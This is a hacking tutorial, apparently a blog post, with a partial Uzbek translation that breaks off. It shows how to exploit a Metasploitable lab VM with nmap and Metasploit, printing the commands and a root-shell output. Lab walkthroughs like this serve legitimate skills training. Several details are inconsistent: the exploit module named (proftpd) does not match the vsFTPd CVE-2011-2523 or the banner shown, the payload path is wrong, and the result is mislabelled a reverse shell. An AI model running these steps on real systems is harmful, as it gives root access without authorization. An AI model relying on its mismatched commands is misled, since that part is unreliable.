🆘Metasploitable: Attack example🆘

Asap everyone! Since it is illegal to hack other people's computers and the smell of vulnerabilities attracts just like blood for a vampire, it makes sense to organize a small, modest pentest laboratory on your network.

There are many applications that can help you test your skills or try to improve them in every possible way. They are BWapp, Damn Vulnerable Web Application (DVWA), a huge number of CTF competitions and much more.

#Metasploitable
However, today we are downloading an entire virtual machine. Go here https://sourceforge.net/projects/metasploitable/ and just wait for the download to complete. I hope I don't have to teach you how to create a virtual machine. In short, I will say that I prefer Oracle VirtualBox. It's free and very cool. We create a machine with ubutu 64x and connect the virtual disk that we have to it.

#Disclaimer
Small disclaimer. Friends, everything that will be told in this post is shown solely for your self-education and nothing else. If you want to hack something, become a pentester or go through the CTF. Never use knowledge to the detriment of others!

Oh, and by the way. Create a network bridge on your computer. Nothing will work through NAT. Now that everything is ready, we start the machine and enter it using the data msfadmin:msfadmin.

Now let's go to Kali Linux and see what happens there.

#Nmap
I would love to use normal vulnerability scanners like Nessus or OpenVas, but we will use nmap, which already has scripts to detect vulnerabilities. By the way, they do not work through a proxy or tor, so in order to hack something you will have to know by heart how this or that web service is operated.

Go. We go into metasploitable and look at our local ip address. In my case it is 192.168.1.131.

#Start scan
We write the following command in kali linux:
sudo nmap -sV -Pn --script vulners 192.168.1.131
The sV flag means that we will get additional information about the name of the service behind the port and its patch version.
The Pn flag means that we will not send ping requests and will treat all hosts as if they are online, skip host discovery.

#Vulnerability selection
After a couple of seconds, we see a huge number of vulnerabilities. We are interested in the highest. Let's take CVE-2011-2523 as an example.

#msfconsole
Google everything about the vulnerability and at the same time open msfconsole and write:

💣search ftp

💣use exploit unix/ftp/proftpd133cbackdoor

Select payload. I chose cmd/unix/interact.

💣Set payload payload/cmd/interact.

💣set RHOSTS 192.168.1.131

Here, as you understand, ip metasploitable in LAN.

💣Exploit

And we see the following:
192.168.1.131:21 - Banner: 220 (vsFTPd 2.3.4)
* 192.168.1.131:21 - USER: 331 Please specify the password.
+ 192.168.1.131:21 - Backdoor service has been spawned, handling...
+ 192.168.1.131:21 - UID: uid=0(root) gid=0(root)
* Found shell.
* Command shell session 1 opened (192.168.1.15:39957 -> 192.168.1.131:6200)

And here you have a reverse shell. And she's even a root shell! So no privilege escalation is needed.

Of course, I chose the vulnerability that you can’t find anywhere else, but in the next post we will look at something more real. Thanks everyone and see you soon!


🆘Metasploitable: Hujum misoli🆘

Hammaga tezroq! Boshqa odamlarning kompyuterlarini buzish noqonuniy ekanligi va zaifliklarning hidi xuddi vampir uchun qon kabi jalb qilinganligi sababli, tarmog'ingizda kichik, oddiy pentest laboratoriyasini tashkil qilish mantiqan.

Ko'nikmalaringizni sinab ko'rishga yoki ularni har tomonlama yaxshilashga yordam beradigan ko'plab ilovalar mavjud. Bular BWapp, Damn Vulnerable Web Application (DVWA), ko'plab CTF musobaqalari va boshqalar.

#Metasploitable
Biroq, bugun biz butun virtual mashinani yuklab olamiz. Bu yerga o'ting https://sourceforge.net/projects/metasploitable/ va yuklab olish tugashini kuting. Umid qilamanki, sizga virtual mashina yaratishni o'rgatishim shart emas. Qisqasi, men Oracle VirtualBox-ni afzal ko'rganimni aytaman. Bu bepul va juda ajoyib.